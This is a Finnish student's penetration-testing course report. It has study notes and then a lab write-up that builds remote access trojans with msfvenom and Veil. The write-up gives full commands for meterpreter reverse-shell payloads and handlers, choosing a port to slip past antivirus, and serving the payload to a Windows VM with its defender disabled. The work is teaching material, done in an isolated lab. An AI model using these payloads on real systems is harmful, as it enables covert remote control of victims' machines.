Tunkeutumistestaus vko. 7

Raportissa on vastaukset Haaga-Helia Ammattikorkeakoulu Tunkeutumistestaus -opintojakson tehtäviin. Kurssi perustuu Tero Karvisen materiaaleihin.

Kirjoittamani materiaali saa muuttaa, jakaa, käyttää ja kopioida GNU General Public License v.3.0 mukaisesti.

Tehtävänanto

Vinkkejä

  • Läksyjen raportteja löydät Googlella ja DuckDuckGo:lla sekä tämän sivun kommenteista.
  • “Palauta kaikki” -kohtaan linkkejä tulee kuusi kappaletta, sellaisia klikattavia (a href).
  • Linkki kommenteissa tämä linkki voi nostaa sivusi PageRankkia, jolloin pääset Googlen hakutuloksissa ylöspäin. Jos laitat linkin nopeasti, saatat saada linkkejä myös kurssikavereilta, kun “Joukkoäly” -kohdassa muut viittaavat kotitehtäviisi.
  • TTPs – Tools, tactics and procedures. Kun teet tiivistelmää joukkoälystä, voit esimerkiksi poimia sopivia ohjelmia, valmiita käskyjä, esimerkkitilanteita joihin ohjelma sopii ja lähestymistapoja, joilla erityyppisiin maaleihin tunkeudutaan.
  • Tässä ei ole tarpeellista jättää troijalaisten binäärejä näkyviin, sillä nehän eivät usein edes toimi ilman kontrollipalvelimia. Verkosta löytyvissä esimerkeissä malware näytteet ovat usein kryptatussa ZIP-paketissa, jonka salasana (esim “This package contains live malware”) kerrotaan jossain sivulla. Paketissa on usein myös README, jossa asia väännetään rautalangasta, ja malware on joskus varoittavasti nimetty “malware-trojan.exe”.
  • Tässä harjoituksessa ei tarvitse ohittaa virustorjuntaa, voit laittaa sen harjoitusmaalista pois päältä.

z) Lue artikkelit ja katso videot, tee kustakin muistiinpanot (muutama ranskalainen viiva per artikkeli/video). Tässä z-kohdassa ei tarvitse tehdä mitään kokeita koneella.

Nikon lähteet – silmäile ja tiivistä Nikon mainitsemat kolme lähdettä. Ne ovat sähköpostiviestissä “Wind0wned & oma kirjakauppa”. Osa lähteistä on hyvin laajoja, tällöin voit silmäillä muutamia keskeisiä osia niistä.

0xffsec Handbook on kokoelma erilaisia offseciin ja pentestiin liittyviä komentoja, muistiinpanoja ja huomioita.

0xffsec MSRPC (Microsoft Remote Procedure Call)

  • Ohjelmien suorittamista ja hallintaa etänä
  • Oletusportit
    • RPC Endpoint Mapper: 135
    • HTTP: 593
  • Voidaan listata RPC endpointit, käyttäjänimet, jaetut hakemistot

0xffsec SMB (Server Message Block)

  • Palvelu, jolla jaetaan pääsy jaettuihin tiedostoihin, tulostimiin ja portteihin
  • Oletussalasanat ja yleisesti käytetyt tunnus-salasana-parit
  • Työkaluja listauksiin ja yhteyden luontiin
    • enum4linux
    • nmap
    • smbclient
  • Administrative Shares
    • mahdollistaa etähallinnan
    • luodaan automaattisesti ja oletuksena käytössä

HackTricks: PowerView

  • Esimerkkikomentoja, skriptejä, siitä, miten listata haluttua tietoa domainista esimerkiksi
    • domain info
    • users, groups and computers
    • logon and sessions
    • shared files and folders

a) Palauta kaikki. Laita tähän a-kohtaan linkki jokaiseen kotitehtäväraporttiisi.

  1. viikko: h1 – Vuohi, tappoketju ja pimeän verkon päiväkirjat
  2. viikko: h2 – turbo boosted
  3. viikko: h3 – Attaaack!
  4. viikko: h4 – Tiedustelua
  5. viikko: h5 – Me in the Middle
  6. viikko: h6 – hunter6
  7. viikko: h7 – Final Countdown

b) Googlen kärkeen – Vapaaehtoinen, mutta helppo ja suositeltava: lisää linkki tehtäviisi tämän sivun perään kommentiksi.

Lisätty.

c) Viittaukset kuntoon. Katso, että olet jokaisessa tehtävässä (h1, h2…) viitannut kurssiin ja kaikkiin muihinkin lähteisiin. Lähdeviitettä edellyttäviä lähteitä ovat kaikki materiaali, jota olet käyttänyt lähteenä. Esimerkiksi kurssi, tehtävänanto, toisten opiskelijoiden vanhat raportit, kirjat, videot, ohjelmien man-sivut ja artikkelit. Mikäli teet kotitehtäviisi lisää testejä tai kokeiluja, tee ne selkeästi jatkoksi uuden otsikon alle ja merkitse, milloin lisäykset on tehty. Historia ei voi enää muuttua.

Lähdeviitteet upotettuina raportteihin. Lähteet lisätty kunkin raportin työstämisen aikana, joten tarkastamiselle ei ole tarvetta.

d) Joukkoäly – silmäile muiden kotitehtäväraportit, kerää lista parhaita komentoja ja havaintoja. Muista merkitä lähteet. Näin saat oman tiivistelmän parhaista tunkeutumistekniikoista. (Tästä voi olla hyötyä myös ensi viikolla). Jos sinulla on suosikkilähteitä kurssin ulkopuoleta, voit listata nekin tähän. Teh ultimate haking cheatsheet!

Niko raportoi aktiivisen tiedustelun tehtävät analysoiden tulokset kattavasti. Täältä löytyy kattavat analyysit nmap skannauksista, nikton ja ffufin käyttöönotoista sekä nessuksen asennus, käyttö ja tulosten analysointi.

Juuso raportoi välimieshyökkäyksen perusteet ja ZAPin käyttöönoton.

Riku raportoi XSS-hyökkäyksen BeEFillä.

e) Rottia. Tee troijan hevonen, joka asentaa vihamielisen etäkäyttöohjelman (RAT, remote access trojan). Haittaohjelmien toimivia versioita ei saa laittaa näkyviin siten, että joku voisi ajaa niitä vahingossa. Tässä tehtävässä harjoitellaan kohdennettua hyökkäystä, automaattisesti leviäviä itse itseään kopoioivia ohjelmia ei tehdä (ei viruksia, ei matoja). Tunnilla tehtiin elf-binääri msfvenomilla yhdistämättä sitä mihinkään tavalliseen ohjelmaan. Tee siis jollain omilla mausteilla (valitse näistä joku):

  • Kohdekone verkon takana
  • Windows-kohde
  • Fat Rat
  • Veil
  • Social Engineering Toolkit
  • Makro asentaa troijalaisen
  • Yhdistetty toiseen ohjelmaan (esim msfvenom template)

msfvenom kertaus

Kertauksen vuoksi aloitin tekemällä uudelleen tunnilla tehdyn elf-binäärin käyttäen msfvenomia. Tuntitehtäväraportti löytyy täältä. Kertauksen jälkeen tein Veilillä executablen, jonka ajoin virtuaalisella Windows koneella.

Käynnistin msfconsole. Valitsin exploitiksi multi/handler, joka kuuntelee vallattuja koneita ja asetin hyötykuormaksi reverse shellin, jotta voin suorittaa komentoja kohdekoneella. Asetin paikalliseksi osoitteeksi oman IP-osoitteeni (LHOST, kuuntelija) ja ajoin exploitin.

$ sudo msfconsole
...
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp 
msf6 exploit(multi/handler) > set LHOST 10.0.2.15
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.15:4444 

Avasin toisen terminalin ja loin troijalaisen. Valitsin hyötykuormaksi --payload meterpreterin reverse shellin. Määritin osoitteen LHOST, jota troijalainen kuuntelee. Määritin mihin tiedostomuotoon --format troijalainen tallennetaan, mihin polkuun --out ja minkä nimiseksi. Annoin käyttäjälle u suoritusoikeudet x. Käynnistin ohjelman.

$ sudo msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.0.2.15 -f elf -o testtrojan
$ sudo chmod u+x testtrojan
$ sudo ./testtrojan

msfconsole ilmoitti uuden session avautumisesta. Tulostin kohdekoneen aktiivisen hakemiston ja loin sinne uuden hakemiston.

[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.15:49142 ) at 2021-12-10 19:36:47 +0200
meterpreter > pwd
/home/sami
meterpreter > mkdir hellotrojan

VEIL ja Windows etähallinta

Asensin ja käynnistin Veilin. Luin ja seurasin javatpointin ohjeet kuinka veilillä luodaan takaovi Windows koneelle.

$ sudo apt -y install veil
$ sudo /usr/share/veil/config/setup.sh --force --silent
$ veil       
===============================================================================
                             Veil | [Version]: 3.1.14
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

...

Haluan luoda takaoven, jonka vuoksi valitsin työkaluksi 1) Evasion.

Available Tools:

        1)      Evasion
        2)      Ordnance

...

Veil>: use 1

Komennolla list pystyy listaamaan kaikki 41 käytettävää hyötykuormaa. Veil nimeää ja kategorisoi hyötykuormat

  • ohjelmointikielen
  • hyötykuorman ja
  • yhteydenluontitavan tai obfuskointi-tason mukaan.

Veil luo golangilla ohjelman, joka avaa käänteisen HTTPS-yhteyden ja luo reverse shellin. Kohdekonetta voi käyttää meterpreterillä.

Veil/Evasion>: use 15

Tarkastin toisesta terminalista IP-osoitteeni. Tähän, eli hyökkäävään, IP-osoitteeseen kohdekone luo yhteyden. Määritin portiksi 8080, jotta liikenne vaikuttaisi tavalliselta HTTP-liikenteeltä ja pysyisi mahdolliselta virustorjunnalta piilossa.

[go/meterpreter/rev_https>>]: set LHOST 192.168.56.106
[go/meterpreter/rev_https>>]: set LPORT 8080

Loin ohjelman ja nimesin sen rat_rev_https_8080

[go/meterpreter/rev_https>>]: generate

Latasin, asensin ja käynnistin Win-virtuaalikoneen. Valitsin VirtualBoxista “File -> Import Appliance”. Valitsin lataamani levykuvan ja asensin sen oletusasetuksilla. Kytkin virtuaalikoneen verkkopiuhan irti ja kytkin sen samaan verkkoon muiden virtuaalikoneiden kanssa. Käynnistin koneen ja kirjauduin sisään oletussalasanalla “Passw0rd!”.

Tarkastin win-koneen ja kali-koneen IP-osoitteet ja testasin pingaamalla, että yhteys koneiden välillä toimii.

Potkaisin Apache2 daemonia sudo systemctl restart apache2 ja testasin win-koneella, että palvelin vastaa.

Loin uuden web-hakemiston ja kopioin Veilillä luodun executablen sinne.

Käynnistin msfconsole, avasin portin kuuntelemaan vallattua konetta ja määritin hyötykuormaksi windowsille tarkoitetun meterpreterin.

$ sudo msfconsole
...
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.56.106
LHOST => 192.168.56.106
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.56.106:8080

Ohjelman lataaminen ei onnistunut. Windows Defender tunnisti ohjelman virukseksi ja poisti sen.

En ole ennen kytkenyt virustorjuntaa pois päältä, jotta voisin asentaa koneelle viruksia. Realististahan tämä ei ole, mutta menköön nyt harjoituksen vuoksi.

Kylläpä malwaren ajaminen on tehty hankalaksi.

Valitsin “Run” ja samaan aikaan Kali-koneelle avautui uusi Meterpreter-sessio.

Komento help tulosti käytettävät komennot. Tarkisin windowsin työhakemiston, loin sinne uuden hakemiston, otin kohdekoneelta kuvakaappauksen ja suljin yhteyden.

meterpreter > pwd
C:\Users\IEUser\Downloads
meterpreter > mkdir hello_remote_access_trojan
Creating directory: hello_remote_access_trojan
meterpreter > screenshot 
Screenshot saved to: /var/www/html/SQrsPhHB.jpeg
meterpreter > exit
[*] Shutting down Meterpreter...

Kuvakaappaus tallentui hakemistoon /var/www/html/. Kuvassa näkyy hyökkäyskoneella luotu hakemisto hello_remote_access_trojan.

Hyökkäyskoneella otettu kuvakaappaus kohdekoneelta

Labra

Ensi kerralla on arvioitava labra. Varmista etukäteen, että

  • Sinulla on häiriötön työskentelymahdollisuus tuntien ajan (yksilötyö)
  • Sinulla on virtuaalikone, jolla voit hyökätä
    • Esim. Kali, voit toki käyttää mitä konetta haluat
    • Tarpeeksi RAM-muistia
    • Levyllä on vapaata tilaa
  • Maalikuvat voivat sisältää esimerkiksi binäärejä, Docker-kuvia tai virtuaalikoneita.
    • Docker-kuvia olisi hyvä saada käyntiin omassa virtuaalikoneessa (esim Kalissa)
    • Sinulla tulisi olla kone, jossa uskallat ajaa binäärejä (sekä maalibinäärejä että harjoituksen arviointiin liittyviä).
    • Tiedät, miten saa uuden (VirtualBox) virtuaalikoneen samaan verkkoon hyökkäyskoneen kanssa
  • Runsain mitoin hakkeriasennetta

Leave a Reply